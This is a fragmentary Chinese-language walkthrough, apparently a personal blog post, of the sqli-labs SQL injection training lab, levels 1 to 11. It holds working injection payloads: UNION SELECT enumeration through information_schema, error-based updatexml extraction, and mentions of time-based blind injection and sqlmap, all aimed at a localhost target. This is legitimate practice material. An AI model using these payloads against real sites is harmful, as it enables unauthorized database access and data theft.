sql-labs
做题步骤
- 判断是否字符型还是数字型
- 字段数
- 显示位
- 获取当前数据库
- 获取当前表名
- 获取所有字段
- 获取数据
less-1
判读是否是字符型还是数字型(猜闭合)


可以看出来,这个是字符型
看字段数
使用order by

判读回显位
1
select 1,2,3 ....最好还是和查询到的字段数相等

获取当前数据库
1
union select 1,database(),version()
查找需要的表名
1
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"注意这个地方是 table_schema
也就是说,如果我们要更具某一个数据库找到他的表名,我们使用table_schema来限定数据库的名字

爆破字段名

找到需要的进行查询

less-2
判断什么类型


判断字段数

判断显示位
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,3 –+
判断数据库名

测表名

查字段名

查具体的信息

less-3
判断是什么类型
?id=1’
出现了错误,然后看报错
提示添加
)


查询字段
查询显示位
查数据库名
查表名
查具体信息
less-5
判断是什么类型

开始爆破数据库

http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and updatexml(0x7e,concat(‘
‘,(select database()),’‘),0x7e) %23爆破表名

爆破字段

然后根据具体获取具体的信息
less-8
直接上sql-map

可以发现他已经将表名和字段已经爆破出来了


Less-9
这关是时间盲注

停顿了5s

less-11

用户名存在普通的联合注入
sql-labs
https://tsy244.github.io/2023/12/26/靶场记录/sql-labs/